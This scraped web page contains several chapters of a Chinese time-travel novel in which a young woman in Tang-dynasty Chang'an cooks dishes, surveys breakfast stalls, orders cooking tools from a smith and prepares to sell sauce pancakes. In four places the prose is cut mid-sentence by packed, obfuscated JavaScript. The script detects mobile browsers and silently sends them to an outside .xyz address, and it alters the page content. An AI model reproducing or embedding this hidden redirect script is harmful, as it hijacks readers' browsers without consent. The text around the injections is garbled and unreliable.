经过勾芡的糖醋汁变得浓稠而富有光泽,估摸着是时候了,崔时钰将炸好的里脊条倒进去,快速翻炒,直到每一根里脊条都均匀地裹上糖醋汁,盛出装盘。 这道糖醋里脊便成了。 不必做任何点缀,金黄的肉条裹着晶莹的酱汁,酸甜香气扑鼻,看一眼便令人食欲大发。 依旧是让两个妹妹先吃着,崔时钰端着热气腾腾的糖醋里脊前往隔壁院子。 谁知她前脚刚迈进王五娘家院子大门,隔壁张六娘便阴恻恻探出半个头来。 她听着崔时钰和王五娘在隔壁有说有笑的声音,心里嫉妒极了。 那崔大娘自从身子好了之后,隔三岔五就往隔壁送吃食,前几天是肉馒头,今天又变成了炸肉条,再过些天指不定又有什么新花样……同为街坊邻里,怎么不往她这儿也送一份? 也太一碗水端不平了! 张六娘愤愤地揪着帕子,闻着隔壁飘来的浓郁香味,食欲与妒忌此起彼伏,最后砰的一声把大门关上了。 12. 早市考察 见阿婆终于进门,娇娇马上迫不及待凑上前去,见端来的不是自己心心念念的小笼肉馒头,小嘴这就要不满地撅起来,然而待看清盘子里的糖醋里脊,唇角很快又变成向上翘起的弧度。 白瓷盘里,一条条炸肉条大小均匀,金黄焦酥,外头裹着一层薄而透亮的糖衣,在阳光映照下泛着饱满诱人的红亮光泽。 不必凑近细闻,浓郁醇厚的酸甜气息已经扑鼻而来,那股酸并非像陈醋那样直白凛冽,而是带着米醋特有的柔和与醇厚,清新俏皮;甜意则丝丝缕缕,甜蜜绵长,二者交织缠绕,瞬间将人食欲勾至顶点。 娇娇等不及了,还在院子里就要直接上手捏一块放进嘴里,王五娘担心她迎风吃东西肚子受凉,一只手牵着孙女,另一手将盛着糖醋里脊的盘子举高了,不让她碰到。 “娇娇乖,娇娇乖,外头风大,咱们去屋里吃。” 王五娘边说边笑。 她家这个挑剔小娘子,何时对吃食露出过这般急切的模样? 眼瞅自家平日总吃猫食的孩子一朝胃口大开,做家长的自然感到欣慰高兴,王五娘也不例外。 她知道这是谁的功劳——赶明儿得再给阿钰送几块豆腐去! 娇娇虽然对吃食有些挑剔,但其他方面还是很听大人的话,并非混世的熊孩子,乖乖跟着阿婆进了屋子。 眼神却一直盯着头顶的糖醋里脊——虽然从她的视角来看,现下只能看到若隐若现的金黄肉块,以及一个偌大的白盘子。就算这样也舍不得移开目光。 娇娇从未觉得进屋之路这样遥远,好容易进屋坐下,她便再也等不及了,马上伸出小手捏起一块肉条吃起来,咀嚼几口便满足地眯起眼睛。 味道比她想象中还要好呢! 浸透了糖醋汁子的面衣酥脆得嘎吱作响,薄薄一层,完全不会抢了肉的风头,微一用力就在齿间碎裂,里头鲜嫩多汁的里脊肉便弹入口中。 吃到里面才发现,原来不仅面衣入了味,酸甜的酱汁还恰到好处地包裹了每一丝肉纤维,咀嚼间肉香四溢,酸甜可口。 为方便入味与炸制,崔时钰将里脊肉条切成了适中大小,但对于娇娇来说还是有些大了,需要分好几口才能吃完,却也产生了一种别样的爽感。 啃一大块肉,好爽啊! 对娇娇来说偏大的糖醋里脊肉条,王五娘只需咀嚼几口便能咽进肚子,吃完一根又接下根,筷子夹得飞快,都快闪出残影了。 娇娇在一旁都有点急了,叼着嘴边没吃完的半根肉条撒娇道:“阿婆阿婆,给我留一点嘛!” * 王五娘和娇娇那头还在“生死时速”,崔时钰和妹妹们这边已经结束了战斗。 她不知道王五娘和娇娇对这道糖醋里脊是否满意,但瞧着阿锦和阿宁连盘子上的糖醋汁都恨不得舔干净的反应,想来应该还不错。 两个小姑娘现在正在院子里刷碗,崔时钰把她们“刷一个盘子要用多少草木灰”的讨论声当背景音乐,歪在榻上边休息边思考。 如今她的身子已经一天天强壮起来,是时候开始做生意了。 要想将整个铺子装修翻修一新,再添置些开饭馆需要用到的桌椅板凳,锅碗瓢盆,她那点嫁妆远远不够,还需更多银钱。 上辈子她认识几个开早餐店的朋友,每天凌晨三点就开始蒸包子、磨豆浆、包饭团,辛苦是辛苦了些,可赚头也足,干上两三年就能在市中心买房了。 由此可见,最方便的便是做朝食生意,起步极快。 崔时钰想过,不如干脆就卖这小笼蒸包好了,然而仔细一思考才发现并不容易操作,光是给猪肉去除异味这一步骤就要花费不少时间,对于早晨这段时间恐怕会来不及。 考察一下其他人都在卖什么很有必要。 挑了个天气晴朗的日子起个大早,崔时钰出发前往早市。 晨钟刚敲响几遍,长安城街巷就已经热闹起来。 绸缎铺子前,店主打着哈欠抖开一匹水红色轻纱,薄如蝉翼,在风中轻轻飘荡;骡马行的气味有些刺鼻,早起的马夫们正在给牲口喂草料;旁边的鞍辔店里挂满了各色马具,皮质的香气混合着桐油的味道,和周围菜摊水果摊飘出的蔬果清香交织在一起。 街上更是热闹非凡,小贩们各显神通,叫卖声此起彼伏。 “煎饼!热乎乎的煎饼!” “汤饼!刚出锅的汤饼!小娘子要不要来一碗?” 还有算命先生摇着铜铃,口中念念有词:“测字看相,不准不要钱!” 和前几次来集市不同,崔时钰此番来主要是为自个的小摊生意做准备,是以着重观察了早市上的朝食都有什么。 她发现唐朝人的早餐主要可以分为这几类:粥、面食以及糕点,这些类别又可以再进行细分。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15584205|171654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 比如,粥类包括以大米、粟米、大麦等为原料熬煮而成的普通米粥,还有在粥中加入胡麻熬成的胡麻粥、大麦加上磨碎的杏仁和麦芽糖熬成的杏仁饧粥、各种肉粥、菜粥,还有具有养生功效的药粥。 面食的类别就更多了,羊肉、鸡肉、鸭肉等不同味道的馎饦和馄饨、蒸胡饼烤胡饼夹肉馅菜馅的胡饼、可添加各种馅料的包子馒头,还有类似于现代煎饼的煎饼,口感酥脆。 除此之外,崔时钰竟还瞅见了饺子。 这时候的饺子名为“角子”,在造型和制作方法上已与现代饺子极为相似,都是将馅料包在圆形的面皮中,捏成各种形状,或煮熟或蒸熟,馅料有荤有素。 接下来是糕点——所有糕点当中,崔时钰最喜欢甑糕。 用糯米粉制成的甑糕,糯米蒸熟后加入红枣、豆沙等馅料,层层堆叠,软糯香甜。 除去甑糕,又香又甜的糖糕、以酥油和茶为原料制作的酥油茶糕、松软可口的鸡蛋糕……都是本朝常见的早餐糕点。 一圈逛下来,崔时钰心中已有数了。 大唐人民足智多谋,早早地将早点生意做得风生水起,她想要横插一脚可没那么容易,卖些后世已经红火,而此时还尚未出现的吃食才是上上签。 崔时钰望着面前热闹红火的早点摊子,恍惚间仿佛又回到了那个遥远的时空。 上辈子她的外婆和她妈都是鼎鼎有名的大厨,每日做出来的早饭几乎不带重样,可她总对学校门口卖的酱香饼情有独钟。 酱饼店的老板娘总系着一条褪色的围裙,围着一口大铁锅忙碌,熟练地将面团擀成薄片,刷上一层特制酱料,再撒上细碎的葱花和白芝麻。 “小崔,今天还是老样子?”老板娘总笑着这样问她。 她点点头,接过热乎乎的酱香饼。 面饼柔软筋道,酱料的咸香混合着葱花的清香在口中蔓延,咀嚼间芝麻在齿间碎裂,又添一份独特香气。 那时候崔时钰总和好朋友一起买酱香饼,两个人站在学校门口,边吃边聊学校里发生的趣事,好朋友总是吃得很快,然后眼巴巴地看着她手中的饼,问自己能不能再分她一口。 ——那已经是上辈子的事了。 上辈子的事已经过去,最重要的是过好当下。 回忆着记忆中的酱香饼的滋味,崔时钰心中已有了打算:嗯,就干这个了。 13. 工具升级 崔时钰风风火火着手起自己的赚钱大计。 摆摊做小吃生意,无非是要解决工具、食材、员工三方面的问题,崔时钰一个一个来,准备先去冶坊打造做酱香饼需要用到的工具。 唐朝的冶坊是专门从事金属器具锻造加工,包括各种炊具和生活用品的地方,崔时钰准备打造的饼铛、炉灶之类的工具便属于“炊具”这一类别。 因着锻造过程中需要大量冷水用于冷却和淬火,冶坊通常会选择在河流附近建址,长安城这些家也不例外。 坊内数十家冶铺比邻而居,叮叮当当的敲击声不绝于耳。 崔时钰按照郭大郎所指路线一路来到目的地,两扇厚重的木门在她面前敞开,上面雕刻着简单的花纹,旁边挂着一块木牌,书写着“林氏精冶”四个字——没错,她要找的冶铺主人姓林,大名林铁山。 话说回来,这木牌上写的字儿还怪好看的。 崔时钰收回羡慕的目光,瞧见门口摆放着几个大水桶,里面装满清水,想来是作为淬火和冷却之用。 因门是敞开的,不必敲门,崔时钰迈步而入,拐过来在门后看到一个用木板搭建而成的简易展示台,上面摆放着打好的铁锅、铁铲、农具等各种铁器成品。 铺子里面传来叮叮当当的打铁声,甫一靠近便觉一股热浪夹杂着金属炭火的气息扑面而来。 这便是本朝常见的“前店后坊”模式,前面是正式出售商品的铺子,后面的院子是打造商品的地方,既方便顾客购买商品,又能为工匠提供生产空间。崔父曾经的鱼铺、王五娘的豆腐坊、张六娘的胭脂铺子所采用的都是这种售卖模式。 崔时钰微微探头,只见后院里头烟雾缭绕,火光闪烁,空气中弥漫着铁锈和炭火的味道,混合着炽热的温度,叫人待上一会儿便要出汗了。 她脑中莫名闪过一个念头:这铺子冬天肯定能省下不少炭火钱。 有点叫人羡慕呢。 许是听到脚步声,铺子里头走出一个身材极为高大的男人,可能是活计正做到一半,手里捏着一个砂轮就过来了。 瞧见崔时钰,林铁山诧异地挑了挑眉:从前来他这冶铺的都是五大三粗的郎君,今日怎么来了个头顶布巾的年轻小娘子? 诧异归诧异,没人会跟钱过不去,林铁山把砂轮放进兜里,问崔时钰道:“小娘子可是要来打些炊具?” “正是。”崔时钰微微一笑,拿出提前画好的手推车、炉灶、饼铛的草图给对方过目,顺道还提了一嘴郭大郎,“听郭阿叔说林冶工做活儿最是精细用心,儿便慕名而来了。” “小娘子过奖了。”没人不爱听恭维赞扬的话,林铁山也不例外,一句话就被钓成了翘嘴。 他压了压将要翘起的嘴角,看崔时钰递来的草图也越发认真起来,边看边说:“这图……无事,做起来不难,小娘子请放心。” 崔时钰有点不好意思。 她厨艺高超,做得一手好菜,但也有缺点,那就是无论写字还是画画都……也不能说不堪入目,只能说差不多和小学生是相同水平。 这时候找个大师傅的好处就凸显出来了,就算画得再菜,对方也能知道你想要的是什么。 “小娘子,不知你这炉灶是想打炭炉还是柴火炉? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15584206|171654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”林铁山盯着图纸问道,顺便给崔时钰介绍了炭炉与柴火炉的优缺点。 炭炉的优点是温度高且稳定,燃烧产生的灰烬较少,容易清洁,且结构简单体积小,便于操作和移动;柴火炉的好处是材料易得,木头嘛,几乎随处可见,不需要像木炭那样经过加工,是以柴火炉的燃料成本相对较低。 崔时钰思考片刻,选择了成本偏高但优点更多的炭炉,虽然贵了点,但胜在方便省事。林铁山也很赞同。 剩下的饼铛、推车还有保温食盒便没什么好说的了,崔时钰只有一个要求,便是将饼铛打得小一点。 上辈子吃过的酱香饼,摊出来老大一张,论斤论两卖,有电子称还好说,然而现在有称没称都很不方便,崔时钰便想着像煎饼果子那样,一次就卖一张,简单不费事。 商量完打造细节,两人开始讨论价格的事。 因着崔时钰方才提了一嘴郭大郎,还夸了林铁山几句彩虹屁,对方又见她是个小娘子,于是大方地给出一个友情价,足足为崔时钰省下了一匹嫁妆布料的钱。 崔时钰自然是对这位林冶工谢了又谢,感激的同时忍不住感叹:瞧瞧,不管到了哪个朝代都是熟人说话好办事啊! “三日后我会将小娘子需要的器具送至小娘子家门,还请小娘子将贵宅住址告诉与我。”林铁山说着将纸笔递了过来。 于是崔时钰又把自己的小学生字体写了上去。 写完地址,付好定金,崔时钰又将林铁山谢了一遍,这才离开冶坊。 她没有马上回家,转头去集市上买了猪板油和食茱萸,准备熬些猪油和辣酱。 14. 猪油辣酱 崔时钰上辈子听外婆念叨最多的一句话便是:“有好油才有好菜。” 既打算正儿八经做生意,细节方面就要尤为注意,现在家里用的菜籽油虽然也香,但比起脂香浓郁的猪油到底差了几分,还有那味道单一的辣酱,都很值得改进。 拎着刚买来的食材回到家,崔时钰先开始熬猪油。 这猪板油依旧是在高记肉行买的,色泽洁白如雪,质地紧实,没什么异味,新鲜极了。 见她买了这么大一块猪板油,高老汉还忍不住打趣:“小娘子买这么大一块板油,几时才能吃完?” 听崔时钰说要去西市做贩饼生意,高老汉这才了然,还客气说到时一定要来捧场。 崔时钰边回忆采购时发生的趣事,边在案板上将猪板油切成大小均匀的小块,而后双手轻轻捧起,将雪白的猪油块放入已烧得热烫的油锅。 油块甫一入锅,瞬间滋滋作响,油香四溢,猪板油块以肉眼可见的速度蜷缩起来,边缘泛黄,热腾腾的脂香混着焦酥气息在庖厨漫开,极为香浓。 这香气先是扑鼻的浓郁荤香,待飘到檐下又化作勾人的焦脆味道,细闻竟还有股甜滋滋的烘烤香气,让人垂涎欲滴。 熬猪油最是需要耐心和细致,火候的把握至关重要,火大了,板油焦糊,整锅猪油都染上糊味;火小了又无法充分提炼出油脂。 崔时钰将灶膛里的木柴抽出又添进,不断调整火候——她很想念后世的电炉,同时用长柄木勺在锅中不停搅拌,确保每一块猪板油都能受热均匀。 水熬法和纯油煎都是熬制猪油的常见方法,前者熬出来的猪油洁白细腻,不易焦糊,缺点是风味清淡且出油率低;后者容易把板油熬糊,但胜在香气浓烈,熬出来的油渣金黄焦香,出油率也高,能把一整块板油熬酥熬透。 因追求的是风味香浓,崔时钰这次选用的是油煎法。 她是烹饪老手,油煎法为数不多的缺点“易焦糊”对她来说完全不算个事,当然最令她心动的还是熬油时析出来的那些猪油渣,能给妹妹们当零嘴吃。 随着油锅温度升高,越来越多的油脂从板油内部渗出,原本块状的猪板油体型慢慢变小,渐渐化作一锅清亮的油液。其间漂浮着一些金黄酥脆的油渣,大小不一,每一粒都散发着诱人的油光,看上去格外诱人。 不知不觉,锅内的板油已全部化为香浓的油脂。见差不多了,崔时钰拿起一旁的竹筛将油渣滤出,盛放在一个瓷碗之中,撒上一小撮细盐调味,又将熬好的猪油倒入提前备好的陶瓮里。 只需耐心等上几个时辰,这些清亮的油液就会变成雪白细腻的脂膏,到时候挖几小勺煎饼煎蛋,或是直接用来做猪油拌饭,都是极香的。 崔时钰又开始做辣椒酱,也就是酱香饼的调味酱料之一。 前世她做的一手好辣椒酱,主要用的是贵州花溪辣椒和遵义朝天椒,这两种辣椒的特点是辣味适中、香味浓郁、油润透光,非常适合用于熬制辣椒酱。 这辈子做辣椒酱没那么多选择,只有一味食茱萸,但崔时钰同样有自己的对策。 锅里还剩少许猪油底油,崔时钰将食茱萸放进去混着猪油炒干炒香,盛出来捣成中粗的茱萸粉末,放一旁备用。 芫荽洗净切长段,大葱切丝,生姜切片,小葱切段,核桃仁用擀面杖擀碎,挑去核桃皮——本该用到花生米,但此时花生还未传入唐朝,只能用核桃代替了,不过核桃富含油脂口感香脆,崔时钰觉得放些核桃碎说不定比放花生口味更好;洋葱同样也不存在,用较粗的鸡腿葱代替。 接着她开始炸香料,锅里倒猪油,油微热时把方才切好的鸡腿葱丝、姜片和小葱段下锅小火慢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15584207|171654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炸,炸至各种配料颜色变得干黄后弃用,再放花椒、八角、草果、香叶等香料,继续小火炸香,颜色变深后捞出。 炸好的香料油香气扑鼻,但对崔时钰来说还远远不够,又放进去核桃仁碎、白胡麻以及方才捣好的食茱萸粗粉搅拌均匀,等到食茱萸充分吸收各种调味料的香味,这才把豆酱倒入。 此时的辣椒酱颜色红亮,香气四溢,与后世那几款畅销辣椒酱别无二致,而且因用量足实,甚至还要更胜一筹。 最后,崔时钰在辣椒酱里加酱油、盐与少量白糖继续翻炒——糖的加入让辣椒酱的味道更加丰富,变得甜咸适中,辣而不燥。临出锅前沿锅边淋几滴香醋,这锅辣椒酱便成了。 搅拌均匀,崔时钰将辣椒酱倒入另一个干净陶瓮,放一旁冷却。 方才浓香四溢的猪油香气此刻被辣椒酱的香辣热气覆盖,整个庖厨都弥漫着辛香十足的味道。 崔时钰擦了擦额头的汗,脸上露出与认真做菜时不同的轻松表情,她相信这罐秘制辣椒酱能成为店里的招牌调料。 被辛香的气味吸引过来,阿锦撩开帘子走进庖厨,结果鼻子刚一接触到热辣的空气边忍不住打了个喷嚏。 “好辣……好香。”崔时锦抽着鼻子说道。 见状,崔时钰连忙喂妹妹吃了块猪油渣压压惊。 阿锦接受了姐姐的喂食,乖乖张嘴。 齿尖才刚触到猪油渣外层的酥壳,便听得“咔嚓”一声脆响,内里未尽的油脂顿时在舌尖化开,绵软,还带着微微的香甜,化开的盐粒混着猪肉特有的醇厚,倒像把整块肥美的猪肉都含在了嘴里。 崔时锦嘴里咀嚼着酥香的猪油渣,眼睛望着案板上两大罐熬好的猪油和辣酱,终于忍不住问出在心头萦绕许久的那句话。 “阿姊……你是什么时候学会这些的?” 15. 煎荷包蛋 在崔时锦的记忆中,阿姊性子一向温柔小意,待人和风细雨,但她和自己一样都有个缺点,便是手笨,连阿娘引以为傲的一手好绣活儿都只能勉强承袭一二,且平日甚少下厨,什么时候将吃食做得这样好了? 嘴里干脆酥香的猪油渣越嚼越香,崔时锦也越发想不明白,“我几乎日日夜夜都与阿姊同在一处,不知阿姊什么时候出现了这般变化,所以觉得很是奇怪。” 对于这个问题,崔时钰多多少少有心理准备。 想想也是,一个几乎从不下厨做饭、平日吃饭都拿饼子片汤糊弄的人,突然流连忘返庖厨不说,还做出了极可口的菜肴,身边亲近的人哪个不会感到奇怪? 哦,还真有,阿宁就不会觉得突然开始做饭的阿姊有什么奇怪之处,崔时钰熬鱼汤,她喝,崔时钰炸肉条,她啃,才不会觉得有哪里不对呢…… 还挺好的。 崔时钰发自内心这样认为。 “小小少年,很少烦恼,无忧无虑乐陶陶”——如果可以,她真希望阿宁的这份天真快乐存续的时间长一点、再长一点。 不过,眼下最要紧的还是阿锦的问题。 崔时钰把之前打好的草稿拿出来,垂眸看向二妹,微微一笑说:“阿锦,谁说我们日日夜夜都在同一处了?” “啊?”崔时锦有些摸不着头脑。 难道阿姊与她不是每天都在一起吗……等等,好像还真不是——程郎君! 崔时锦恍然大悟。 她虽然比阿姊足足小了好几岁,却也并非什么都不懂,她知道阿姊与一位程姓郎君青梅竹马一同长大,关系非同一般。后来这位程郎君搬离了长乐坊,但仍会时不时与阿姊见上一面。 再后来,程郎君与阿姊的联系便渐渐少了。 崔时锦还记得,自己当初发现这一变化之后,竟还有几分说不清道不明的喜悦:没由来的,她就是觉得那位程姓郎君不是阿姊的良人。 虽说程郎君对阿姊一向温柔妥帖,待她和阿宁也亲厚有加,但她总觉得,对方温文尔雅的笑容背后似乎藏着什么东西…… 总之阿姊与那人分开正好。 所以,阿姊这一身高超厨技便与那位程郎君有关吗? 小孩子藏不住事,心中所思所想全都写在脸上,崔时钰一看妹妹表情便知她现在在想什么。 尽管儒家思想在此时仍有一定影响力,但唐朝的社会风气已较为开放,青年男女择偶相对自由,私奔、离婚、再婚的现象都很常见,其中还有不少风流佳话撰成了戏文供后人传唱。 崔娘子与程同是交换了庚帖的正常恋爱关系,平时见个面自然没什么。 于是这便成了崔时钰此时的最好托词。 但她连口头上的便宜也不想让渣男占到,思忖片刻道:“程郎君家中有位来自齐鲁的女厨,少时师从尚食局退隐御厨习艺,后游历大江南北,融汇八方风味,最擅做一道糖醋鲤鱼,做好的鱼肉外酥里嫩,鲜嫩多汁,糖醋汁子也是浓郁醇厚,酸甜适口,令人回味无穷。” “我跟着那位女厨,耳濡目染学会了做不少菜。”崔时钰说完还不忘补充一句,“这位庖师现下已经离开程家,去更有前途的去处了。” 程家当然没有这样一位厨子,她不过是把外婆的早年经历略作改动,与妹妹复述了一遍,如此既算不得说谎,也解释了她这一身厨艺的来历。 “原来是这样。”崔时锦自然不疑有他,看着崔时钰深深点头,“阿姊从前不展露这手绝活是有所顾虑,如今那位庖师已离开程家,阿姊也……也与程郎君分开了,自然就可以不用再顾忌什么了。” “……”崔时钰摸了摸鼻子,她倒是没有想到这一点呢。 阿锦真是聪明,还会主动帮姐姐补充细节。 崔时钰欣慰地揉了揉妹妹的头:“总之,从前的事都过去了,咱们姐妹三个过好以后的日子,再不想其他糟心事了。” 闻言,崔时锦用力点了点头。 是了,阿姊说得没错,她们姐妹三个把日子过好就是最重要的,这是她最后一次提起之前的事,往后她一定向前看。 她这边刚立下宏愿,就见崔时钰笑眯眯看着她道:“阿锦,我有个任务要交给你。” 那眼神让崔时锦感觉自己像一条被猫盯上的小鱼干。 * 一刻钟后,崔家姐妹二人面前的案板多了个白瓷盘,里面左右躺着两枚荷包蛋。 左边那个煎得急了,边缘焦黑蜷曲,皱皱巴巴的蛋白裹着同样干瘪的蛋黄,活像什么晒蔫了的蔬菜;相比之下,右边那个就美观多了,雪白的蛋白边缘缀了一圈金丝,中央的蛋黄嫩黄明艳,圆润饱满。 分别是崔时锦两次煎制荷包蛋的杰作。 崔时钰先前考虑的工具、食材、员工问题已解决了大半,就差“员工”这一项了。 她已经想好了,酱香饼共有四种口味:除刷酱外什么都不加的、加生菜、加蛋、以及菜蛋都加的。 她可以一个人包揽刷酱、煎饼、清理杂物等工作,再多个煎蛋也不是不行,只是时间会有些赶不过来,于是便把目光盯上了妹妹。 从前阿锦在家也做过简单的汤饼蒸饼,对庖厨里头的器具还算熟悉,这次就权当是个锻炼;况且大头主要还是在煎饼这里,阿锦也不会太累。 崔时钰宠爱妹妹,但并不想让她们成为身无长物的娇娇女,她希望她们能够经风雨、见世面,如此才能更好地在这个时代活下去。 眼看马上要煎第三次蛋了,许是不想让阿姊失望,崔时锦莫名很有些紧张,汗珠都从鼻尖沁了出来。 她紧攥着木铲,剜了一块铜钱大小的猪油滑入锅中。这猪油熬得极好,细腻洁白,眨眼的工夫就在铁锅里化作清亮油珠。 这回她记牢了崔时钰的话,见油锅已烧热,马上弯腰将一截燃着一半的柴枝从灶膛里抽出来,而后才将鸡蛋磕入。 一声轻响,蛋清裹着蛋黄在锅中舒展成完美的圆,边缘立刻泛起细小的金黄花边。 回忆着崔时钰方才的手法,阿锦手腕高悬,将盐粒均匀洒落在将凝未凝的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15584208|171654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蛋黄上,接着木铲一铲把荷包蛋翻起,继续煎汪着半透明的蛋清的另一面。 崔时钰在旁边看妹妹,脸上露出满意的神情。其实煎荷包蛋没什么太多技巧,就两个:一是油需热到冒起小泡阶段下蛋,二是蛋清边缘微焦再翻面。 这几个步骤阿锦都完成得很好,老实说,好得有些出乎意料了,要知道这可是阿锦头一回煎蛋! 崔时钰忍不住想,莫非她这个二妹在做菜一道上也有些天赋? 那敢情好了。 须臾,荷包蛋出锅了,这次比之前两次更完美:卧在瓷盘里煎蛋蛋白莹润,边缘酥脆,蛋黄圆圆鼓鼓,猪油的脂香混着蛋香缓缓升起,带着些许焦酥的坚果气息,竟还隐隐约约有股奶香。 崔时钰让妹妹尝尝味道,阿锦咬下一角,酥脆的蛋白在齿间咔嚓轻响,内里却嫩如豆腐,吸饱猪油的蛋黄浓稠滑润,微咸的盐味衬托出浓郁的蛋香,余味里还留着猪油特有的甘美。 “好吃。”阿锦眯着眼笑,又将荷包蛋分给崔时钰。 姐妹两人分吃完这枚荷包蛋,为巩固技艺,崔时锦又趁热煎了一枚。 于是这三枚荷包蛋便成了姐妹三人今日的暮食,添水进去烧开,再下些索饼,一锅简单美味的煎蛋汤饼便好了。 吃完热乎乎的汤饼,闻着辛香的辣椒酱香和甘美的猪油香气,阿锦和阿宁梦里都在打饱嗝。 * 三日后。 按照约定,崔时钰在冶坊订做的推车、炭炉、饼铛,还有几个保温食盒果然如期而至。 推车车架呈长方形,高度约莫在她腰部,上头安装了一个用竹篾编织而成的简易遮阳棚,顶部覆盖着一层油纸,既能遮阳又能挡雨,车架两侧各有一个木制把手,方便推动。 炭炉同样十分精巧,是一个用厚铁板打造的圆形铁炉,放置在推车的中间位置,底部有一小孔,用于通风和清理炉灰;上方是一个用来支撑饼铛的铁制炉架。 那几个保温食盒又大又轻,能放不少东西,同样令崔时钰满意。 而最让她惊喜的是,许是林冶工看出她的字迹实在难以见人,在车架前端挂了一个小木牌,上面用毛笔写着“崔记酱香饼”几个大字,十分醒目美观。 林铁山还有些不好意思:“手一痒便写了,崔小娘子若是不喜,还可自行再写,我这儿有的是木牌子。” 崔时钰哪里有不喜欢的道理?当即便采用了林冶工的版本。 一个一个看过来,崔时钰满意极了,干脆利落地把剩下的银钱付给林冶工,并和对方约定以后有需要一定还去他的冶铺。 用布巾将这几套酱香饼工具里里外外仔细擦了个干净,崔时钰又把需要用到的酱料一一码放上去,接着便去集市上开始采购。 她先买面粉、鸡蛋,又买几斤白苣,也就是生菜,还有几把分别用来刷油和刷酱料的小刷子、用于顾客品尝试吃的小竹签、包装煎饼的干荷叶…… 满载而归。 一切准备就绪,小小酱香饼摊便这样悄无声息地开张了。 16. 酱香热饼 长安城的晨钟还未敲响,东市的武侯铺内,一阵窸窣声打破了黎明前的寂静。 铺正武长青揉了揉酸涩的眼睛,从硬邦邦的木板床上翻身坐起。 天还未亮,屋内光线昏暗,借着从窗棂透进的微弱光线,他动作麻利地穿衣洗漱,仔细检查仪刀、腰牌、铜铃、火折等物件有无遗漏。 新的一日开始了。 他挨个拍门喝醒还在睡梦中的武侯们,叫他们整理佩刀、缉盗用的绳索以及用于防火的火钩,接着一一点卯签到,分配今日任务。 武长青一向沉默少言,分配任务时从不花言巧语,更不会激励人心,有什么便说什么:“李二,今日你和钱四去西市巡逻,赵六刘七去东市,北巷的治安最近有些不稳定,你们要多加留意,仔细盘查可疑之人。” 武侯们得了指令,齐齐应了一声,接着便去公厨用朝食了。 武侯铺的伙食由官府拨粮,虽然量大,但十分粗简,且一成不变,武长青闭着眼睛都能想到今日的朝食:定还是粟米粥、胡饼、腌菜这老三样。 他迈步走进公厨,果不其然在食案瞧见了早已备好的几锅粟米粥、几十张干巴胡饼,还有一缸浊黄的腌菜——昨日是腌芥菜,今日是腌酱瓜,没啥区别。 武长青瞅见胡饼就能想到那干巴噎人的口感,干硬的饼渣滑过嗓子的时候就像受刑,让他一点胃口都没有。 而去集市上吃也无非就是那几样:粥、饼、馒头、糕点……无甚新意。 人是铁饭是钢,一顿不吃饿得慌。这顿不吃支撑不住整整一上午的巡逻,是以武长青虽然没什么食欲,但还是端起粗瓷碗舀了好几大勺粥。 粟米粥不知是什么时候熬好的,已没了热腾腾的蒸汽,只还隐隐温热,粟米估计也是陈的,熬煮出来一丝米香也无;胡饼又干又硬,勉强能寻到几粒烤得发糊的胡麻;腌菜除了咸没有其他味道。 武长青一口胡饼配一口粥,大口咀嚼吞咽着,眼神发空,活像一台没有感情的进食机器。 直到最后一口饼嚼完,他今日的朝食便算用完了。 公厨内其他武侯也都吃得差不多了,虽然肚子吃饱了,却没有丝毫喜悦,个个面如腌菜色。 “整日都是胡饼,烦死了!” 李二一边用勺子在粥碗里“戏水”一边抱怨:“这粟米粥里面的米也太少了,稀汤寡水的。” “那是你不会盛。”钱四凑过去悄声对他道,“我有个独门秘籍,你每次盛粥的时候把长勺放到最底,慢慢捞上来——注意了,动作一定要放慢,这样就能捞上很多米了。不信你试试。” 李二依言一试,果然盛上大半勺米来,喜道:“果真如此,钱四,还是你点子多!” 听到他们的谈话,武长青浅浅勾起一个笑,没有出声阻止。 用完朝食,武侯们在铺内集合完毕,开始进行上午的巡逻,沿着坊墙慢行,仔细检查坊门门锁是否完好,有无可疑脚印或攀爬痕迹。 坊内居民大多还在熟睡,只有远方偶尔传来的几声犬吠打破宁静。 一直行至西市,坊间才浮起一片喧嚣。 